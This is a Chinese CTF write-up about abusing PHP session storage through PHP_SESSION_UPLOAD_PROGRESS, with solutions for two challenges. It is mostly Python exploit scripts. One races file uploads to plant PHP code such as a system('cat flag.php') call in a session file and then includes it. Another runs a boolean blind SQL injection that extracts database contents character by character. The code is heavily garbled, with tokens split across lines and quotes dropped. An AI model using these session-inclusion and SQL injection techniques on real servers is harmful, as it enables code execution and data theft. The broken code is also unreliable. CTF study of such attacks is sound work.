PHP SESSION 的存储
Session会话存储方式
PHP将session以文件的形式存储服务器的文件中，session.save_path来控制
默认路径
/var/lib/php/sess_PHPSESSID/var/lib/php/sessions/sess_PHPSESSID/tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSID
session文件默认是/var/lib/php/sessions目录下，文件名是sess_加上sessionID字段
但是在赛题中大多数都是/tmp目录下，需要php.ini力sesion.auto_start设置为1，然后修改目录
session.auto_start：如果开启这个选项，则PHP在接收请求的时候会自动初始化Session，不再需要执行session_start()。但默认情况下，也是通常情况下，这个选项都是默认关闭的。
session.upload_progress.cleanup = on：表示当文件上传结束后，php将会立即清空对应session文件中的内容。该选项默认开启
session.use_strict_mode：默认情况下，该选项的值是0，此时用户可以自己定义Session ID。
使用 Python 实现创建 Session 文件的过程：
import io
import requests
import threading
sessid
= whoami
def
POST(session
):
f
= io
.BytesIO(b
a * 1024 * 50)
session
.post(
http://192.168.43.82/index.php,
data
={“PHP_SESSION_UPLOAD_PROGRESS”:“123”}, //用来改变session中的值
files
={“file”:(q.txt, f
)},
cookies
={PHPSESSID:sessid
} //用来sesssion中的文件名 sess_whoami
)
with requests
.session() as session
:
while True
:
POST(session
)
print(“[+] 成功写入sess_whoami”)
[WMCTF2020]Make PHP Great Again
<?php
highlight_file(__FILE__);
require_once flag.php;
if(isset($_GET[file])) {
require_once $_GET[file];
}
这道题是文件包含，已经包含过了一次flag.php，就不能二次包含了，一种方法是软连接/proc/self/root绕过
/proc/self指向当前进程的/proc/pid/
/proc/self/root/是指向/的符号链接
这道题也可以 用条件竞争进行，
import io
import sys
import requests
import threading
host
= http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/
sessid
= feng
def
POST(session
):
while True
:
f
= io
.BytesIO(b
a * 1024 * 50)
session
.post(
host
,
data
={
#
“PHP_SESSION_UPLOAD_PROGRESS”:“<?php system(cat flag.php);echo md5(1);?>”},
“PHP_SESSION_UPLOAD_PROGRESS”: “<?php phpinfo();echo md5(1);?>”},//session存值
files
={
“file”:(a.txt, f
)},
cookies
={
PHPSESSID:sessid
}//改名
)
def
READ(session
):
while True
:
response
= session
.get(f
{host}?file=/tmp/sess_{sessid})//路径
#
print(response
.text
)
if c4ca4238a0b923820dcc509a6f75849b not in response
.text
://1的md5
print([+++]retry)
else:
print(response
.text
)
sys
.exit(0)
with requests
.session() as session
:
t1
= threading
.Thread(target
=POST
, args
=(session
, ))//线程可以套循环 多层线程
t1
.daemon
= True
//相当完成任务直接结束，不用等线程全部结束
t1
.start()
READ(session
)
线程结束后，想在网页获得php坏境页面可是找不到，
希望有师傅解答一下，然后这样就非常局限，
[PwnThyBytes 2019]Baby_SQL
访问源码，获得source.zip
打开后发现index.php
<?php
session_start();
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value)
{
!is_string($value) AND die(“Hacking attempt!”);
return addslashes($value);
}
isset($_GET[p]) AND $_GET[p] === “register” AND $_SERVER[REQUEST_METHOD] === POST AND isset($_POST[username]) AND isset($_POST[password]) AND @include(templates/register.php);
isset($_GET[p]) AND $_GET[p] === “login” AND $_SERVER[REQUEST_METHOD] === GET AND isset($_GET[username]) AND isset($_GET[password]) AND @include(templates/login.php);
isset($_GET[p]) AND $_GET[p] === “home” AND @include(templates/home.php);
?>
都要经过最后的过滤，然后通过传参p进行包含templates目录下面的文件
login.php
<?php
!isset($_SESSION) AND die(“Direct access on this script is not allowed!”);
include db.php;
$sql = SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`=” . $_GET[username] . ” and password=” . md5($_GET[password]) . “;;
$result = $con–>query($sql);
function auth($user)
{
$_SESSION[username] = $user;
return True;
}
($result–>num_rows > 0 AND $row = $result–>fetch_assoc() AND $con–>close() AND auth($row[username]) AND die(<meta http-equiv=”refresh” content=”0; url=?p=home” />)) OR ($con–>close() AND die(Try again!));
?>
发现就login.php里面没有过滤，然后
!isset($_SESSION) AND die(“Direct access on this script is not allowed!”);
意思为如果不存在session就die输出，前面的为true才执行后面的
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row[username]) AND die(<meta http-equiv=”refresh” content=”0; url=?p=home” />)) OR ($con->close() AND die(Try again!));
OR前面是false才执行后面的语句。然后这里的意思前面有个大的括号里有一个满足就会执行$con->close(),然后这个执行返回true的话就会执行die(“Not allowed!”);
所以如果我们要直接访问login.php进行sql注入的话，还需要带上一个session才行，这里边用上了我们的PHP_SESSION_UPLOAD_PROGRESS了。我们可以使用PHP_SESSION_UPLOAD_PROGRESS来在目标服务器上初始化一个session，然后便可以绕过index.php中的检测，直接访问login.php进行sql注入了。
import requests
url
= “http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php”
//这个templates是因为login.php在这个目录下面
files
= {“file”: “123456789”}
a
= requests
.post(url
=url
, files
=files
, data
={“PHP_SESSION_UPLOAD_PROGRESS”: “123456789”},
cookies
={“PHPSESSID”: “test1”}, params
={username: test, password: test},
proxies
={http: “http://127.0.0.1:8080”})通过这个接口，burp就可以抓包到
print(a
.text
)
然后对username进行注入，发现是用”进行闭合,然后回显，可以用盲注实现
<meta http-equiv=”refresh” content=”0; url=?p=home” />
import requests
import time
url
= “http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php”
files
= {“file”: “123456789”}
flag
=
for i in
range(1,100):
low
= 32
high
= 128
mid
= (low
+high
)//2
while (low
< high
):
time
.sleep(0.06)
#payload_flag
={username: “test” or
(ascii(substr((select
group_concat(username
) from ptbctf
),{0},1))>{1}) #”
.format(i
, mid
),password: test}
payload_flag
= {
username: test” or (ascii(substr(database(),{0},1))>{1}) #.format(i
,mid
),password: test}
r
= requests
.post(url
=url
,params
=payload_flag
,files
=files
, data
={“PHP_SESSION_UPLOAD_PROGRESS”: “123456789”},
cookies
={“PHPSESSID”: “test1”})
print(payload_flag
)
if <meta http-equiv=”refresh” content=”0; url=?p=home” /> in r
.text
:
low
= mid
+1
else:
high
= mid
mid
= (low
+ high
) // 2
if(mid
==32 ):
break
flag
+=chr(mid
)
print(flag
)
print(flag
)
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